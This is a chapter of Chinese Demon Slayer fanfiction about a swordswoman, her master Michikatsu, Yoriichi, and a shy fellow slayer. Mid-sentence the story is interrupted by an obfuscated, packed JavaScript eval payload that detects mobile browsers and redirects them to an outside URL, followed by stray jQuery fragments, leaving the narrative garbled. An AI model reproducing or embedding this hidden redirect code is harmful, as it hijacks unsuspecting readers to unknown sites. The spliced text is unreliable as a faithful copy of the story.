12.第 12 章

作品:《[鬼灭]被双子做局我是真没招了

    自有记忆以来,这是她第一次收到礼物,还是这么用心的手工制品,自然是格外珍惜,爱不释手的。


    “看,这是师父亲手做了送给我的。”


    她献宝似得捧着木梳递给缘一看,得意地炫耀着,缘一很配合地露出了夸赞的神色。


    “看来兄长很喜欢你。”


    “那当然啦,我这么勤奋又聪明的弟子谁会不喜欢。”她得意洋洋地自夸自卖,毫不谦虚。


    看着她骄傲的样子就像个小孔雀一样,确实可爱。


    缘一忍不住拍了拍她的脑袋,眼中泛起一丝浅淡的笑意。


    自从他把阿月带回来,鬼杀队内的气氛都比先前多了些生气蓬勃,也不知道她哪来的神奇魔力,走到哪哪里就是一片欢声笑语。


    就连兄长近期的神色也比先前舒缓不少,一想到这里,他的眉眼越发柔和。


    “嘎——”


    一只黑色的鎹鸦从院墙外飞进来,扑扇着落在她的肩膀上,她偏过头,发现这只鎹鸦是吉田太郎身边的那只。


    吉田太郎,这个和她同期入队的少年现在是水柱的继子,性格十分活泼爱笑,很受欢迎。


    可能是因为在入队选拔的时候被她救过,吉田时常趁着师父不在的时候来找她玩。


    估计今天也不例外。


    鎹鸦抬起一边翅膀遮着头,凑近了她耳边,小声说了几句话。


    “我知道了,一会儿就去。”


    得到她的允诺,鎹鸦亲昵地蹭了蹭她的脸,又扑棱着翅膀飞走了。


    “吉田说有事找我,我先过去啦。”她从榻榻米上站起身来,将放在一边的日轮刀插进腰侧,整了整衣摆。


    这几天师父都不在家,据说是去探望自己以前的妻儿了。


    虽说当初放弃了家族一意孤行加入鬼杀队,但是不辞而别终究不是他的作风,因此算是回去道别,顺便带一些金银财物作为补偿。


    缘一本是不赞成的,他对家庭的看法和自己的兄长大不一样,不过他也尊重兄长的决定,因此并未多说什么。


    一边是家族联姻的妻子,一边是被鬼杀害的部下,在他心中那个高洁如皎月的兄长肯定也是进退两难,他是没法去指责的。


    今月作为弟子就更没资格对师父的家事指手画脚,只能暗中记住了这件事情,如果以后继国家遇到什么困难她也会尽一份力。


    “去玩吧。”红发青年温和地点了点头,耳边的日轮花札在风中微微晃动。


    “被你听到啦,”她有点不好意思地嘟囔着,又庆幸地拍了拍胸口。


    “还好师父今天不在,不然肯定又要给我加训了。”


    她的师父哪哪都好,就是在训练上太过严厉,简直就是不断地在挑战她的极限,每次训练完她都只剩一副气若游丝的模样。


    还好隔三差五就会有斩鬼的任务发过来,让她可以喘口气。


    “因为兄长他对你……”


    “停停停——寄予厚望对吧!”


    缘一忍不住为自家兄长开脱,却马上就被她打断了,今月没好气地说出了他还未出口的台词,顺带撇了撇嘴。


    “我知道师父是为我好,算了,不和你说了,我走了!”


    她噔噔噔一路小跑着出门,木屐踏地的声音渐行渐远,小小的身影消失在门口。


    缘一望着她的背影,轻轻叹了口气,他也觉得兄长对阿月的要求过于严苛了,本就是爱玩的年纪,成天被拘在家里练刀也难怪她抱怨。


    但杀鬼终究是个危险的事,若没有强大的实力,受伤和死亡都有可能。


    他总是希望她能好好活着的。


    鬼杀队的驻地随处可见都是紫藤花,也不知道用了什么特殊法子,能让这些紫色的花海瀑布一年四季常开不败。


    不过药屋的花圃里除了紫藤,还有种了很多其他的植物,有些是拿来入药的,也有纯观赏的花卉。


    “阿月你快看,我这次救了个婆婆,这是她送给我的花,好像叫什么……山荷叶,对没错,就是这个名字。”


    吉田太郎一只手还被绷带吊挂在脖子上,只好用另一只完好的手指着花圃里一朵白色的小花给她看。


    他这次的任务极为凶险,一同去的五个队员只有他和另一个雷呼剑士活着回来,那人至今还躺在病床上昏迷不醒。


    “你急匆匆叫我过来就是为了这个?”


    “你没事吧?”


    两人蹲在花圃前面,今月上下扫视了一眼这个全身几乎都被绷带裹着的少年,对他大条的神经简直不可思议。


    “啊?我没事啊。”


    并没有听出她的言下之意,还以为被关心了的吉田太郎眉开眼笑,海蓝色的眼睛亮闪闪的。


    “别看它是个不起眼的小花,你等一下,”他把手上端着的水杯移到上方,微微倾斜,一股小水流打湿了纯白的花瓣。


    “你看,婆婆说它沾了水花瓣就会变成透明的,像宝石一样。”


    “真的耶!”她也是头一次看到这么神奇的花朵,忍不住凑近了些,“这是什么原理,好神奇。”


    仔细端详后她骤然转头询问,却被一张放大了的脸惊在原地。


    吉田太郎也凑近了看花,没想到她会突然回头,一时间不知该如何动作,整个人都僵住了,睁大了眼睛,显得有些呆滞。


    春天的风带下几瓣粉嫩的樱花,打着旋落在她的发丝间,阳光穿过叶隙散落在她的身上,照亮了她脸上细小的绒毛,也在她明亮愉快的眼睛里汪一滩水。


    年仅十六的吉田太郎突然觉自己有些头晕目眩。


    他下意识往后退了一步,却没想起自己还是蹲着的状态,结果一屁股坐在了地上。


    “我、我突然有点不舒服,先回去休息了。”


    窘迫的少年连滚带爬地从地上起来,窜进了自己的病房里。


    今月蹲在原地眨了眨眼,然后慢吞吞地站起身来,拍了拍衣服上的褶皱和灰尘,眼中带了点笑意。


    晚间的时候,继国严胜风尘仆仆地赶了回来,正好赶上了她和缘一的晚饭。


    饭自然是缘一做的,因为不好意思总是麻烦隐队员,以至于师父走的这段日子缘一几乎都住在这边。


    反正这里也有专门给他留的房间,他也挺乐意的住下了。


    正当她端着餐盘将碗筷一一摆好,就听到门口传来响动,有人推开了院门。


    她探出头从支起来的窗户望出去,看到了熟悉的深紫色羽织,心下一喜,“师父,你终于回来啦!”


    继国严胜背着一个布包袱,手里提着剑跨进来,转身合上了木门。


    “欢迎回来。”


    “兄长,一路辛苦。”


    “嗯。”


    今月几步就来到院门口迎接他,缘一也从厨房出来,靠在门口,手里还拎着把汤勺。


    严胜只淡淡应了声,将包裹递给了自家徒弟,又顺手揉了把她的发顶,冲弟弟点头示意。


    “别总弄乱我的头发啦。”


    她接过包袱小声抱怨,跟在师父身后往里走,轻快的脚步声却出卖了她的好心情。


    虽然苦训练久矣,继国家的两兄弟是她身边最亲近的人了,这么久不见还是有点担心。


    即便知道他的实力强大,可对死亡的恐惧就是对在意之人的永恒缺席的恐惧。


    或许在别人看来这很荒谬,但她无法停止想象。


    不过很快她就没有这种多愁善感的心思了。


    晚饭过后三人在庭院中歇息,兄弟两个在廊檐下对坐,中间摆了一盘围棋,正在凝神对战。


    今月在一边坐着翻看师父带回来的书籍,撇开了好几本有关战争文学的军记物语,终于从最底下找到一本《文正草子》。


    随手翻看了几页,里面像是写的一个爱情故事,倒也聊胜于无地看了起来,她坐在架高的木台边缘,两只悬空的小腿悠闲地晃荡着。


    可惜这份


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335274|183236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悠闲还没持续多久,就听到师父唤她。


    “阿月,过来。”


    她乖乖地收起书本,顺从走了过去,内心隐约有种不祥的预感。


    “让我看看你最近的训练成果,有没有偷懒。”严胜将手中端着的清酒一饮而尽,示意她拿起木刀。


    果然来了,她面上不动声色,心底却忍不住哀叹一声。


    这是师徒间的保留节目,检查她训练成果的方式就是让她从兄弟两个里自由挑一个对手,不管用什么招式,只要能坚持半个时辰就算过关。


    眼底不禁闪过一丝心虚,她最近确实玩得有点疯,只能悄悄给缘一使了个颜色,希望他能领会自己的意图。


    “我选缘一。”


    开玩笑,假打和真痛她还是能分清的。


    缘一放下手中的酒杯正准备起身,就被自家兄长一把按住,连带着今月都惊讶地看了过来。


    “这次我来。”紫衣红发的青年面色冷淡,微抬眼帘从他们两人身上陆续扫过,将他们的眉眼官司尽收眼底,语气似是带着一丝嘲弄。


    什么——!


    今月顿时面色一紧,只觉得自己今晚在劫难逃,忍不住哀怨地看了缘一一眼。


    缘一平静地移开了视线,假装没看到她控诉的眼神,若无其事地整理了一下自己宽大的羽织袖口,嘴角却不着痕迹地噙着一抹浅笑。


    没过多久,空旷静谧的庭院里就热闹起来。


    “师父我错了!——轻点!嗷——”


    “别打脸行吗——哇!——”


    这本该是一个平静的夜晚,月柱大人的宅邸却传来阵阵鬼哭狼嚎,林中栖息的鸟群被惊起,呼啦啦地从枝头齐飞,远远地落在别处。


    “轻点、轻点……嘶……”


    “淤血要揉开了才好得快,还是忍忍吧。”


    药屋的病房内,温柔的医师小姐一边轻声安慰,手下却毫不留情地大力揉捏着,痛得她眼泪都出来了。


    “师父真是的,不知道女孩子的脸最珍贵了嘛,要是留疤了怎么办。”


    今月龇牙咧嘴地抱怨,眉毛眼睛都皱在一起。


    “放心吧,不会留疤的,月柱大人下手很有分寸。”


    “你怎么还向着他说话,好过分哦。”


    “我只是实话实说而已。”


    医师小姐无奈地看了她一眼,放下了手中的药膏,用棉布擦了擦手,“月柱大人离开的这几天,你可是一次都没去过训练场,别以为我不知道。”


    “你怎么知道!难道你偷偷监视我?”今月大惊。


    “我才没那么闲。”医师小姐没好气地翻了个白眼,摆着手指头一个个数着。


    “除了出任务的日子,你和日柱大人在院子里放风筝,帮隐队员收床单,去厨房偷吃三色团子,陪收容所的小孩们玩双六,哪里都有你的身影。”


    “嘿嘿……这不是机会难得嘛。”


    她不好意思地笑笑,窗外有人在喊她的名字,她循声望去,看见吉田趴在窗边探头探脑的。


    “吉田君,如果你再偷跑出病房,我就要和水柱大人告状了。”


    “对不起!我这就回去!”


    在她说话之前,医师小姐先露出了一个危险的笑容,吉田像是被踩了尾巴的猫一样惊叫着逃走了。


    “真是的,一个两个都不让人省心。”


    “最近受伤的人很多吗?”


    “是啊,而且都伤的不轻,听说这段时间他们经常遇到异能之鬼,药屋这边都快忙不过来了。”医师小姐叹了口气。


    通常拥有异能的鬼并不会很多,而鬼杀队在掌握了呼吸法后普通的鬼对他们来说几乎毫无威胁,已经有好几年没出现过这么大规模的伤亡了。


    “听说有的鬼眼睛里面会出现数字,这种鬼的实力格外强大,阿月你也要多加小心。”


    “眼睛里有数字的鬼?好的,我知道了。”


    她若有所思地点了点头。